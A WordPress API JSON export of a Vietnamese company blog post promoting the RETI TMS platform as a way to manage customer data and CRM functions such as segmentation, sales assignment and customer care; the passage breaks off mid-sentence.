{"id":31938,"date":"2021-10-21T11:04:46","date_gmt":"2021-10-21T04:04:46","guid":{"rendered":"https:\/\/reti.vn\/blog\/?p=31938"},"modified":"2025-10-22T03:54:26","modified_gmt":"2025-10-21T20:54:26","slug":"vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms","status":"publish","type":"post","link":"https:\/\/reti.vn\/blog\/vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms\/","title":{"rendered":"V\u00ec sao n\u00ean qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng b\u1eb1ng ph\u1ea7n m\u1ec1m TMS"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\"><em>H\u1ea7u h\u1ebft c\u00e1c doanh nghi\u1ec7p, t\u1ed5 ch\u1ee9c \u0111\u1ec1u c\u00f3 m\u1ed9t h\u1ec7 th\u1ed1ng CRM (Customer Relationship Management), t\u1ee9c h\u1ec7 th\u1ed1ng qu\u1ea3n l\u00fd quan h\u1ec7 kh\u00e1ch h\u00e0ng. Ph\u1ea7n m\u1ec1m qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng \u0111\u1ec3 theo d\u00f5i th\u00f4ng tin kh\u00e1ch h\u00e0ng, t\u00e0i li\u1ec7u kh\u00e1ch h\u00e0ng, c\u00e1c m\u1ed1i quan h\u1ec7 v\u00e0 giao d\u1ecbch ti\u1ec1m n\u0103ng.<\/em><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Qu\u1ea3n l\u00fd th\u00f4ng tin kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3 b\u1eaft \u0111\u1ea7u t\u1eeb c\u00e1c ph\u01b0\u01a1ng ph\u00e1p qu\u1ea3n l\u00fd n\u1ed9i dung v\u00e0 d\u1eef li\u1ec7u. Chi\u1ebfn l\u01b0\u1ee3c qu\u1ea3n l\u00fd d\u1eef li\u1ec7u l\u00e0 b\u01b0\u1edbc quan tr\u1ecdng \u0111\u1ea7u ti\u00ean \u0111\u1ec3 qu\u1ea3n l\u00fd hi\u1ec7u qu\u1ea3 th\u00f4ng tin kh\u00e1ch h\u00e0ng v\u00e0 cu\u1ed1i c\u00f9ng, c\u1ea3i thi\u1ec7n s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a kh\u00e1ch h\u00e0ng, \u0111\u1ed3ng th\u1eddi n\u00e2ng cao gi\u00e1 tr\u1ecb kh\u00e1ch h\u00e0ng. N\u1ec1n t\u1ea3ng <a href=\"http:\/\/tms.reti.vn\" target=\"_blank\" rel=\"noreferrer noopener\">RETI TMS<\/a> l\u00e0 m\u1ed9t trong nh\u1eefng \u1ee9ng d\u1ee5ng qu\u1ea3n l\u00fd d\u1eef li\u1ec7u \u0111\u01b0\u1ee3c s\u1eed d\u1ee5ng nh\u1eb1m n\u00e2ng cao hi\u1ec7u qu\u1ea3 qu\u1ea3n l\u00fd d\u1eef li\u1ec7u. Theo d\u00f5i b\u00e0i vi\u1ebft d\u01b0\u1edbi \u0111\u00e2y c\u1ee7a <a href=\"http:\/\/reti.vn\" target=\"_blank\" rel=\"noreferrer noopener\">RETI<\/a> \u0111\u1ec3 t\u00ecm hi\u1ec3u l\u00fd do n\u00ean s\u1eed d\u1ee5ng TMS \u0111\u1ec3 qu\u1ea3n l\u00fd v\u00e0 t\u1ed5 ch\u1ee9c d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng.<\/em><\/p>\n\n\n\n<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_83 counter-hierarchy ez-toc-counter ez-toc-grey ez-toc-container-direction\">\n<p class=\"ez-toc-title\" style=\"cursor:inherit\">N\u1ed9i dung b\u00e0i vi\u1ebft<\/p>\n<label for=\"ez-toc-cssicon-toggle-item-6a14054b55e42\" class=\"ez-toc-cssicon-toggle-label\"><span class=\"\"><span class=\"eztoc-hide\" style=\"display:none;\">Toggle<\/span><span class=\"ez-toc-icon-toggle-span\"><svg style=\"fill: #999;color:#999\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" class=\"list-377408\" width=\"20px\" height=\"20px\" viewBox=\"0 0 24 24\" fill=\"none\"><path d=\"M6 6H4v2h2V6zm14 0H8v2h12V6zM4 11h2v2H4v-2zm16 0H8v2h12v-2zM4 16h2v2H4v-2zm16 0H8v2h12v-2z\" fill=\"currentColor\"><\/path><\/svg><svg style=\"fill: #999;color:#999\" class=\"arrow-unsorted-368013\" xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"10px\" height=\"10px\" viewBox=\"0 0 24 24\" version=\"1.2\" baseProfile=\"tiny\"><path d=\"M18.2 9.3l-6.2-6.3-6.2 6.3c-.2.2-.3.4-.3.7s.1.5.3.7c.2.2.4.3.7.3h11c.3 0 .5-.1.7-.3.2-.2.3-.5.3-.7s-.1-.5-.3-.7zM5.8 14.7l6.2 6.3 6.2-6.3c.2-.2.3-.5.3-.7s-.1-.5-.3-.7c-.2-.2-.4-.3-.7-.3h-11c-.3 0-.5.1-.7.3-.2.2-.3.5-.3.7s.1.5.3.7z\"\/><\/svg><\/span><\/span><\/label><input type=\"checkbox\"  id=\"ez-toc-cssicon-toggle-item-6a14054b55e42\"  aria-label=\"Toggle\" \/><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/reti.vn\/blog\/vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms\/#Vi_sao_CRM_lai_quan_trong\" >V\u00ec sao CRM l\u1ea1i quan tr\u1ecdng?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/reti.vn\/blog\/vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms\/#Tai_sao_nen_su_dung_TMS_de_quan_ly_du_lieu_khach_hang\" >T\u1ea1i sao n\u00ean s\u1eed d\u1ee5ng TMS \u0111\u1ec3 qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng?<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/reti.vn\/blog\/vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms\/#Ket_hop_kheo_leo_giua_Marketing_va_Sales\" >K\u1ebft h\u1ee3p kh\u00e9o l\u00e9o gi\u1eefa Marketing v\u00e0 Sales<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/reti.vn\/blog\/vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms\/#Quan_ly_du_lieu_khach_hang_tot_hon\" >Qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng t\u1ed1t h\u01a1n<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/reti.vn\/blog\/vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms\/#Gia_tang_su_hai_long_cua_khach_hang\" >Gia t\u0103ng s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a kh\u00e1ch h\u00e0ng<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/reti.vn\/blog\/vi-sao-nen-quan-ly-du-lieu-khach-hang-bang-phan-mem-tms\/#Tich_hop_tinh_nang_quan_ly_du_lieu_khach_hang_tu_RETI_TMS\" >T\u00edch h\u1ee3p t\u00ednh n\u0103ng qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng t\u1eeb RETI TMS<\/a><\/li><\/ul><\/nav><\/div>\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Vi_sao_CRM_lai_quan_trong\"><\/span><strong>V\u00ec sao CRM l\u1ea1i quan tr\u1ecdng?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">CRM c\u00f3 th\u1ec3 hi\u1ec3u nh\u01b0 m\u1ed9t ph\u1ea7n m\u1ec1m qu\u1ea3n l\u00fd d\u1eef li\u1ec7u v\u00e0 ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng, \u1edf \u0111\u00f3 b\u1ea1n:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>L\u01b0u tr\u1eef, theo d\u00f5i, qu\u1ea3n l\u00fd nh\u1eefng th\u00f4ng tin c\u01a1 b\u1ea3n nh\u01b0 email, s\u1ed1 \u0111i\u1ec7n tho\u1ea1i, t\u00f3m t\u1eaft s\u01a1 l\u01b0\u1ee3c v\u1ec1 kh\u00e1ch h\u00e0ng, l\u1ecbch s\u1eed t\u01b0\u01a1ng t\u00e1c.<\/li><li>L\u01b0u tr\u1eef v\u00e0 ph\u00e2n t\u00edch d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng \u0111\u1ec3 t\u1ed1i \u01b0u h\u00f3a hi\u1ec7u qu\u1ea3 c\u00f4ng vi\u1ec7c.<\/li><li>T\u00edch h\u1ee3p nhi\u1ec1u ch\u1ee9c n\u0103ng cho ph\u00e9p c\u00e1c b\u1ed9 ph\u1eadn ph\u1ed1i h\u1ee3p c\u00f9ng nhau nh\u01b0 ghi ch\u00fa, ph\u00e2n t\u00edch k\u1ebft qu\u1ea3 tr\u1ea3 v\u1ec1 tr\u00ean nhi\u1ec1u k\u00eanh kh\u00e1c nhau.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">N\u00f3i c\u00e1ch kh\u00e1c, CRM l\u00e0 c\u00f4ng c\u1ee5 gi\u00fap doanh nghi\u1ec7p n\u00e2ng cao kh\u1ea3 n\u0103ng chuy\u1ec3n \u0111\u1ed5i th\u00f4ng qua nh\u1eefng chi\u1ebfn l\u01b0\u1ee3c ti\u1ebfp c\u1eadn d\u1ef1a tr\u00ean s\u1ed1 li\u1ec7u. CRM cho ph\u00e9p doanh nghi\u1ec7p \u0111\u00e0o s\u00e2u v\u00e0o m\u1ed1i quan h\u1ec7 v\u1edbi kh\u00e1ch h\u00e0ng, nh\u00e2n vi\u00ean ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng, \u0111\u1ed3ng nghi\u1ec7p, \u0111\u1ed1i t\u00e1c v\u00e0 nh\u00e0 cung c\u1ea5p. Duy tr\u00ec m\u1ed1i quan h\u1ec7 t\u1ed1t v\u00e0 gi\u1eef t\u01b0\u01a1ng t\u00e1c v\u1edbi kh\u00e1ch h\u00e0ng l\u00e0 vi\u1ec7c r\u1ea5t quan tr\u1ecdng cho vi\u1ec7c mua h\u00e0ng v\u00e0 l\u1eb7p l\u1ea1i mua h\u00e0ng c\u1ee7a kh\u00e1ch h\u00e0ng. C\u00f3 th\u1ec3 th\u1ea5y m\u1ecdi th\u1ee9 \u1edf m\u1ed9t n\u01a1i duy nh\u1ea5t l\u00e0 CRM th\u00ec nh\u1eefng trang th\u00f4ng tin \u0111\u01a1n gi\u1ea3n c\u00f3 th\u1ec3 cho b\u1ea1n bi\u1ebft v\u1ec1 th\u00f4ng tin kh\u00e1ch h\u00e0ng m\u1ed9t c\u00e1ch nhanh v\u00e0 ch\u00ednh x\u00e1c nh\u1ea5t.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/U4qeO0G.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><figcaption> CRM c\u00f3 th\u1ec3 hi\u1ec3u nh\u01b0 m\u1ed9t ph\u1ea7n m\u1ec1m qu\u1ea3n l\u00fd d\u1eef li\u1ec7u v\u00e0 ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng<\/figcaption><\/figure><\/div>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tai_sao_nen_su_dung_TMS_de_quan_ly_du_lieu_khach_hang\"><\/span><strong>T\u1ea1i sao n\u00ean s\u1eed d\u1ee5ng TMS \u0111\u1ec3 qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Ket_hop_kheo_leo_giua_Marketing_va_Sales\"><\/span><strong>K\u1ebft h\u1ee3p kh\u00e9o l\u00e9o gi\u1eefa Marketing v\u00e0 Sales<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">TMS kh\u00f4ng ch\u1ec9 gi\u00fap t\u1ed5 ch\u1ee9c qu\u1ea3n l\u00fd giao d\u1ecbch m\u1ed9t c\u00e1ch hi\u1ec7u qu\u1ea3, t\u1eeb ph\u00e1t tri\u1ec3n, m\u1edf r\u1ed9ng th\u1ecb tr\u01b0\u1eddng, t\u00ecm ki\u1ebfm kh\u00e1ch h\u00e0ng, b\u00e1n h\u00e0ng m\u00e0 c\u00f2n h\u1ed7 tr\u1ee3 \u0111\u1eafc l\u1ef1c cho c\u00e1c ho\u1ea1t \u0111\u1ed9ng Marketing v\u00e0 truy\u1ec1n th\u00f4ng c\u1ee7a doanh nghi\u1ec7p. D\u1ef1a tr\u00ean nh\u1eefng nh\u00f3m kh\u00e1ch h\u00e0ng, th\u00f4ng tin kh\u00e1ch h\u00e0ng \u0111\u00e3 \u0111\u01b0\u1ee3c l\u01b0u tr\u1eef trong TMS, vi\u1ec7c nghi\u00ean c\u1ee9u th\u1ecb tr\u01b0\u1eddng, t\u00ecm hi\u1ec3u th\u1ecb hi\u1ebfu kh\u00e1ch h\u00e0ng nh\u1eb1m \u0111\u1ec1 ra nh\u1eefng chi\u1ebfn l\u01b0\u1ee3c Marketing, chi\u1ebfn l\u01b0\u1ee3c truy\u1ec1n th\u00f4ng ph\u00f9 h\u1ee3p s\u1ebd tr\u1edf n\u00ean d\u1ec5 d\u00e0ng h\u01a1n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1eb7c bi\u1ec7t, TMS c\u00f2n h\u1ed7 tr\u1ee3 th\u1ed1ng k\u00ea \u0111\u01b0\u1ee3c ph\u1ea3n h\u1ed3i c\u1ee7a ng\u01b0\u1eddi d\u00f9ng, t\u1eeb \u0111\u00f3 s\u1ebd gi\u00fap nh\u1eadn \u0111\u1ecbnh ch\u00ednh x\u00e1c hi\u1ec7u qu\u1ea3 c\u1ee7a c\u00e1c t\u00ednh n\u0103ng trong TMS. S\u1ef1 k\u1ebft h\u1ee3p gi\u1eefa Marketing v\u00e0 b\u00e1n h\u00e0ng s\u1ebd gi\u00fap gia t\u0103ng doanh thu v\u00e0 hi\u1ec7u su\u1ea5t l\u00e0m vi\u1ec7c c\u1ee7a doanh nghi\u1ec7p, nh\u1edd t\u00ednh hi\u1ec7u qu\u1ea3 trong qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/5kx17RG.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><figcaption>TMS h\u1ed7 tr\u1ee3 \u0111\u1eafc l\u1ef1c cho c\u00e1c ho\u1ea1t \u0111\u1ed9ng Marketing v\u00e0 truy\u1ec1n th\u00f4ng c\u1ee7a doanh nghi\u1ec7p <\/figcaption><\/figure><\/div>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Quan_ly_du_lieu_khach_hang_tot_hon\"><\/span><a href=\"https:\/\/reti.vn\/blog\/nen-tang-tms-giup-cai-thien-viec-to-chuc-va-quan-ly-thong-tin\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>Qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng t\u1ed1t h\u01a1n<\/strong><\/a><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Th\u00f4ng tin kh\u00e1ch h\u00e0ng tr\u00ean TMS s\u1ebd \u0111\u01b0\u1ee3c l\u01b0u tr\u1eef v\u00e0 c\u1eadp nh\u1eadt li\u00ean t\u1ee5c. V\u00ec v\u1eady vi\u1ec7c truy xu\u1ea5t d\u1eef li\u1ec7u, ki\u1ec3m tra giao d\u1ecbch, t\u00ecnh h\u00ecnh thanh to\u00e1n c\u1ee7a kh\u00e1ch h\u00e0ng tr\u1edf n\u00ean d\u1ec5 d\u00e0ng h\u01a1n bao gi\u1edd h\u1ebft. Vi\u1ec7c s\u1eed d\u1ee5ng TMS thay th\u1ebf cho nh\u1eefng b\u1ea3ng t\u00ednh excel truy\u1ec1n th\u1ed1ng s\u1ebd l\u00e0m t\u0103ng t\u1ed1c \u0111\u1ed9 qu\u00e1 tr\u00ecnh x\u1eed l\u00fd c\u00f4ng vi\u1ec7c v\u00e0 gi\u1ea3m th\u1eddi gian x\u1eed l\u00fd d\u1eef li\u1ec7u, v\u1edbi vi\u1ec7c nh\u1eadp li\u1ec7u ch\u1ec9 m\u1ed9t l\u1ea7n duy nh\u1ea5t. H\u01a1n th\u1ebf n\u1eefa, doanh nghi\u1ec7p c\u00f2n c\u00f3 th\u1ec3 ph\u00e2n lo\u1ea1i kh\u00e1ch h\u00e0ng ra th\u00e0nh t\u1eebng nh\u00f3m kh\u00e1ch h\u00e0ng c\u1ee5 th\u1ec3, nh\u1eb1m \u0111\u1ec1 ra nh\u1eefng ch\u00ednh s\u00e1ch ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng, ch\u00ednh s\u00e1ch b\u00e1n h\u00e0ng, khuy\u1ebfn m\u00e3i h\u1ee3p l\u00fd.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Gia_tang_su_hai_long_cua_khach_hang\"><\/span><strong>Gia t\u0103ng s\u1ef1 h\u00e0i l\u00f2ng c\u1ee7a kh\u00e1ch h\u00e0ng<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">M\u1ed9t d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng c\u0169 k\u1ef9, ch\u1eadm tr\u1ec5 l\u00e0 nguy\u00ean nh\u00e2n khi\u1ebfn kh\u00e1ch h\u00e0ng t\u1eeb b\u1ecf s\u1ea3n ph\u1ea9m, d\u1ecbch v\u1ee5 c\u1ee7a doanh nghi\u1ec7p. V\u1edbi vi\u1ec7c s\u1eed d\u1ee5ng TMS, s\u1ef1 ch\u1eadm tr\u1ec5 trong vi\u1ec7c ph\u1ea3n h\u1ed3i kh\u00e1ch h\u00e0ng s\u1ebd gi\u1ea3m \u0111i \u0111\u00e1ng k\u1ec3. L\u1ecbch s\u1eed giao d\u1ecbch c\u1ee7a kh\u00e1ch h\u00e0ng c\u0169ng \u0111\u01b0\u1ee3c l\u01b0u tr\u1eef chi ti\u1ebft trong h\u1ec7 th\u1ed1ng, v\u00ec v\u1eady chuy\u00ean vi\u00ean kinh doanh c\u00f3 th\u1ec3 d\u1ef1a tr\u00ean nh\u1eefng th\u00f4ng tin v\u1ec1 giao d\u1ecbch \u0111\u00f3 \u0111\u1ec3 t\u01b0 v\u1ea5n, ch\u0103m s\u00f3c, h\u1ed7 tr\u1ee3 kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3 h\u01a1n.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Doanh nghi\u1ec7p c\u00f3 th\u1ec3 s\u1eed d\u1ee5ng ph\u1ea7n m\u1ec1m TMS nh\u01b0 m\u1ed9t trung t\u00e2m d\u1ecbch v\u1ee5 \u0111\u1ec3 t\u00ecm ki\u1ebfm th\u00f4ng tin, s\u1eafp x\u1ebfp c\u00e1c v\u1ea5n \u0111\u1ec1 v\u01b0\u1edbng m\u1eafc c\u1ee7a t\u1eebng kh\u00e1ch h\u00e0ng theo th\u1ee9 t\u1ef1 \u01b0u ti\u00ean, tu\u1ef3 thu\u1ed9c v\u00e0o m\u1ee9c \u0111\u1ed9 nghi\u00eam tr\u1ecdng \u0111\u1ec3 c\u00f3 bi\u1ec7n ph\u00e1p gi\u1ea3i quy\u1ebft, x\u1eed l\u00fd s\u1edbm h\u01a1n, tr\u00e1nh tr\u01b0\u1eddng h\u1ee3p ch\u1eadm tr\u1ec5 l\u00e0m kh\u00e1ch h\u00e0ng kh\u00f4ng h\u00e0i l\u00f2ng c\u0169ng nh\u01b0 l\u00e0m gi\u1ea3m uy t\u00edn c\u1ee7a doanh nghi\u1ec7p.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">>>> <a href=\"https:\/\/reti.vn\/blog\/quan-ly-thong-tin-khach-hang-hieu-qua-voi-reti-tms\/\" target=\"_blank\" rel=\"noreferrer noopener\">Qu\u1ea3n l\u00fd th\u00f4ng tin kh\u00e1ch h\u00e0ng hi\u1ec7u qu\u1ea3 v\u1edbi RETI TMS<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Tich_hop_tinh_nang_quan_ly_du_lieu_khach_hang_tu_RETI_TMS\"><\/span><strong>T\u00edch h\u1ee3p t\u00ednh n\u0103ng qu\u1ea3n l\u00fd d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng t\u1eeb <\/strong><a href=\"https:\/\/reti.vn\/blog\/10-loi-ich-noi-bat-cua-reti-tms\/\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>RETI TMS<\/strong><\/a><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Th\u1ea5u hi\u1ec3u \u0111\u01b0\u1ee3c t\u1ea7m quan tr\u1ecdng c\u1ee7a CRM, RETI \u0111\u00e3 t\u00edch h\u1ee3p t\u00ednh n\u0103ng CRM, qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng v\u00e0o trong \u1ee9ng d\u1ee5ng c\u1ee7a m\u00ecnh. Thu th\u1eadp v\u00e0 l\u01b0u tr\u1eef th\u00f4ng tin kh\u00e1ch h\u00e0ng t\u1eeb nhi\u1ec1u k\u00eanh ti\u1ebfp c\u1eadp kh\u00e1c nhau v\u1ec1 c\u00f9ng m\u1ed9t h\u1ec7 th\u1ed1ng qu\u1ea3n tr\u1ecb. Sales Agent s\u1ebd d\u1ec5 d\u00e0ng qu\u1ea3n l\u00fd v\u00e0 ph\u00e2n nh\u00f3m kh\u00e1ch h\u00e0ng theo c\u00f9ng ti\u00eau ch\u00ed \u0111\u1ec3 ph\u1ee5c v\u1ee5 vi\u1ec7c ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng v\u00e0 th\u1ef1c hi\u1ec7n c\u00e1c chi\u1ebfn d\u1ecbch marketing hi\u1ec7u qu\u1ea3.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">C\u00f3 th\u1ec3 b\u1ea1n quan t\u00e2m <a href=\"https:\/\/reti.vn\/blog\/reti-tms-ra-mat-tinh-nang-moi-thu-vien-tai-lieu-du-an\/\" target=\"_blank\" rel=\"noreferrer noopener\">RETI TMS ra m\u1eaft t\u00ednh n\u0103ng m\u1edbi: Th\u01b0 vi\u1ec7n t\u00e0i li\u1ec7u d\u1ef1 \u00e1n<\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">V\u1edbi t\u00ednh n\u0103ng t\u01b0\u01a1ng t\u1ef1 nh\u01b0 ph\u1ea7n m\u1ec1m qu\u1ea3n l\u00fd kh\u00e1ch h\u00e0ng chuy\u00ean nghi\u1ec7p, b\u1ea1n c\u00f3 th\u1ec3 l\u01b0u tr\u1eef m\u1ecdi th\u00f4ng tin c\u1ee7a kh\u00e1ch h\u00e0ng nh\u01b0 th\u00f4ng tin c\u00e1 nh\u00e2n, s\u1edf th\u00edch c\u00e1 nh\u00e2n, nhu c\u1ea7u, t\u00e0i ch\u00ednh, l\u1ecbch s\u1eed mua h\u00e0ng, gi\u00e1 tr\u1ecb \u0111\u01a1n h\u00e0ng, ph\u00e2n lo\u1ea1i v\u00e0 ph\u00e2n nh\u00f3m kh\u00e1ch h\u00e0ng. Ngo\u00e0i ra b\u1ea1n c\u00f3 th\u1ec3 nh\u1eadp d\u1eef li\u1ec7u kh\u00e1ch h\u00e0ng t\u1eeb c\u00e1c ngu\u1ed3n b\u00ean ngo\u00e0i v\u00e0o h\u1ec7 th\u1ed1ng ho\u1eb7c xu\u1ea5t d\u1eef li\u1ec7u ra b\u00ean ngo\u00e0i. C\u00e1c th\u00f4ng tin c\u1ee7a kh\u00e1ch h\u00e0ng s\u1ebd \u0111\u01b0\u1ee3c \u0111\u1ed3ng b\u1ed9 t\u1eeb nhi\u1ec1u ngu\u1ed3n nh\u01b0 ngu\u1ed3n t\u1ef1 ki\u1ebfm, kh\u00e1ch g\u1ea7n d\u1ef1 \u00e1n, website, Facebook, qu\u1ea3ng c\u00e1o Google, &#8230;\u00a0<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">M\u1ed9t trong nh\u1eefng t\u00ednh n\u0103ng \u0111\u1eb7c bi\u1ec7t gi\u00fap b\u1ea1n ph\u00e2n nh\u00f3m kh\u00e1ch h\u00e0ng d\u1ef1a v\u00e0o c\u00e1c ti\u00eau ch\u00ed nh\u01b0 v\u1ecb tr\u00ed, l\u1ecbch s\u1eed mua h\u00e0ng, t\u00e0i ch\u00ednh, \u2026 gi\u00fap b\u1ea1n d\u1ec5 d\u00e0ng qu\u1ea3n l\u00fd theo t\u1eebng nh\u00f3m ri\u00eang bi\u1ec7t c\u0169ng nh\u01b0 x\u00e1c \u0111\u1ecbnh c\u00e1c \u0111\u1ed1i t\u01b0\u1ee3ng kh\u00e1ch h\u00e0ng ti\u1ec1m n\u0103ng. C\u00e1c chi\u1ebfn d\u1ecbch ch\u0103m s\u00f3c, qu\u1ea3ng b\u00e1 c\u0169ng \u0111\u01b0\u1ee3c ph\u00e2n r\u00f5 r\u00e0ng t\u1eebng nh\u00f3m kh\u00e1ch h\u00e0ng h\u01a1n, gi\u00fap \u0111\u1ea1t hi\u1ec7u qu\u1ea3 cao h\u01a1n.\u00a0<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large\"><img decoding=\"async\" data-src=\"https:\/\/i.imgur.com\/UFJRk6N.jpg\" alt=\"\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" class=\"lazyload\"><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">\u0110\u1ec3 t\u0103ng s\u1ef1 hi\u1ec7u qu\u1ea3 trong vi\u1ec7c qu\u1ea3n l\u00fd v\u00e0 ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng, RETI TMS cho ph\u00e9p Sales Manager ph\u00e2n b\u1ed5 chuy\u00ean vi\u00ean t\u01b0 v\u1ea5n ch\u1ecbu tr\u00e1ch nhi\u1ec7m qu\u1ea3n l\u00fd m\u1ed7i kh\u00e1ch h\u00e0ng. Khi \u0111\u00f3, b\u1ea1n kh\u00f4ng c\u1ea7n tr\u1ef1c ti\u1ebfp qu\u1ea3n l\u00fd t\u1ea5t c\u1ea3 c\u00e1c kh\u00e1ch h\u00e0ng, \u0111\u1ed3ng th\u1eddi c\u00f3 th\u1ec3 \u0111\u00e1nh gi\u00e1 n\u0103ng su\u1ea5t v\u00e0 hi\u1ec7u qu\u1ea3 l\u00e0m vi\u1ec7c c\u1ee7a m\u1ed7i Sales Agent th\u00f4ng qua t\u01b0\u01a1ng t\u00e1c gi\u1eefa kh\u00e1ch h\u00e0ng v\u1edbi doanh nghi\u1ec7p.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Nh\u01b0 v\u1eady, n\u1ec1n t\u1ea3ng RETI TMS s\u1ebd mang t\u1edbi cho doanh nghi\u1ec7p m\u1ed9t d\u1ecbch v\u1ee5 kh\u00e1ch h\u00e0ng ch\u1ea5t l\u01b0\u1ee3ng, \u0111\u00e1p \u1ee9ng t\u1ed1t nh\u1ea5t y\u00eau c\u1ea7u c\u1ee7a kh\u00e1ch h\u00e0ng, khi\u1ebfn kh\u00e1ch h\u00e0ng h\u00e0i l\u00f2ng v\u00e0 trung th\u00e0nh v\u1edbi s\u1ea3n ph\u1ea9m v\u00e0 d\u1ecbch v\u1ee5 ch\u0103m s\u00f3c kh\u00e1ch h\u00e0ng c\u1ee7a doanh nghi\u1ec7p. TMS c\u0169ng h\u1ed7 tr\u1ee3 \u0111\u01b0a ra nh\u1eefng quy\u1ebft \u0111\u1ecbnh b\u00e1n h\u00e0ng ch\u00ednh x\u00e1c h\u01a1n cho t\u1eebng nh\u00f3m kh\u00e1ch h\u00e0ng, \u0111\u1ed3ng th\u1eddi cho ph\u00e9p x\u00e2y 